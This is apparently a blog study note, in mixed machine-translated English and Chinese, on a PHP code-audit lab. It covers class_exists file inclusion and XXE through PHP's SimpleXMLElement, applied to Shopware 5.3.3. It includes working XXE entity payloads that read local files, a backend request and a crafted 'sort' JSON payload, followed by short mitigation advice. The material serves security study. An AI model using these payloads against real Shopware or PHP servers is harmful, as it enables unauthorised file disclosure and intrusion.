[Vulnerability] Shopware 5.3.3 XXE practice -Day3 vulnerability

He began to practice [red] team of PHP-Audit-Labs code audit Day3
link: https://github.com/hongriSec/PHP-Audit-Labs
interested students can go to Exercise
Prior knowledge:
content title comes from PHP SECURITY 2017 CALENDAR
Day. 3 - Snow Flake code is as follows:

function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}

Vulnerability Analysis:
There are two security vulnerabilities in the code.
第一个漏洞是文件包含漏洞, The code 第8行used in class_exists()function to pass over the user determines whether there is a controller,

if (class_exists($controllerName)) {

By default, if there is a program __autoloadfunction, then use class_exists()it will automatically call this program function __autoloadfunction, this file inclusion vulnerability in question appeared in this place. An attacker can use a path through the ( details ) to include arbitrary files, of course, the premise is to use a path through the symbols PHP5~5.3(包含5.3版本)can only be between versions.例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

class_exists () function is defined:

Features:

(The PHP. 4, the PHP. 5, the PHP. 7)
class_exists - checks whether the class has been defined

definition:

class_exists ( string $class_name [, bool $autoload = true ] ) : bool
If a class_nameclass has been defined within the meaning of, this function returns TRUE, otherwise it returns FALSE.

Description:
parameter Explanation
class_name Class name. Matching names are case-insensitive in.
autoload Whether the default call __autoload.

Here Insert Picture Description
第二个漏洞: In the code line 9,

  $controller = new $controllerName($data['t'], $data['v']);

我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement 来进行 XXE攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect)。

SimpleXMLElement 类的定义:

功能:

(PHP 5, PHP 7)
用来表示XML文档中的元素,为PHP的内置类。
关于 SimpleXMLElement 导致的XXE攻击,下面再给出一个demo案例,方便大家理解:

<?php 
$xml=<<<eof
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
	<! ENTITY xxe SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/array/flag.txt">
]>
<x>&xxe;</x>
eof;
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
//运行结果:
//object(SimpleXMLElement)#1 (1){[0]=> string(17) "flag{aaa_xxx_bbb}"}

实例分析:

Shopware 5.3.3环境折腾了半天装不上,这里就无法复现了。 看看大佬的思路吧

本次实例分析,我们选取的是 Shopware 5.3.3 版本,对 SimpleXMLElement 类导致的 XXE漏洞 进行分析。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

我们来看一下本次漏洞的文件,在 engine\Shopware\Controllers\Backend\ProductStream.php 文件中有一个 loadPreviewAction 方法(第6行),其作用是用来预览产品流的详细信息,具体代码如下:
Here Insert Picture Description
该方法接收从用户传来的参数 sort ,然后传入 Repository 类的 unserialize 方法(如上图第11-14行代码),我们跟进 Repository 类,查看 unserialize 方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php 文件中找到,代码如下:
Here Insert Picture Description
可以看到 Repository 类的 unserialize 方法,调用的是 LogawareReflectionHelper 类的 unserialize 方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php 文件中找到,具体代码如下:
Here Insert Picture Description
这里的 $serialized 就是我们刚刚传入的 sort (上图第3行),程序分别从 sort 中提取出值赋给 $className$arguments 变量,然后这两个变量被传入 ReflectionHelper类的createInstanceFromNamedArguments 方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php文件,具体代码如下:

Here Insert Picture Description
这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort 变量来的,可被用户控制利用。继续往下看,在代码第28行处用$newParams作为参数,创建一个新的实例对象。而这里的 $newParams是从$arguments[$paramName]中取值的,$arguments 又是我们可以控制的,因为也是从$sort变量来,所以我们可以通过这里来实例化一个SimpleXMLElement类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。

漏洞利用:

First, we need to log in the background, find a place to call loadPreviewAction interface, it found its calling locations are as follows:
Here Insert Picture Description
When we click Refresh previewthe button, it will call loadPreviewActionthe method, use BurpSuite capture packets as follows:

GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close

We can see that sortvalue {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}, so we configured in accordance with its payload format: {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}, about the meaning of the payload, can look SimpleXMLElementlike __constructfunction definitions, the specific point where

final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

xxe.xml content author used was as follows:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [ 
     <!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>

We payload transmission, and with xdebug debugger, and finally we read the program stores the value in $conditionsa variable, as shown below:
Here Insert Picture Description

Advice:

Fixed XXE about PHP vulnerability, we can filter (s), such as: ENTITY, SYSTEM, etc. In addition, we can, by way of physical objects from loading XML to prevent XXE Vulnerability (second line below), the specific code as follows:

Here Insert Picture Description

Epilogue

Thanks again [Red team]

Published 35 original articles · won praise 19 · views 5204

Guess you like

Origin blog.csdn.net/zhangpen130/article/details/103896810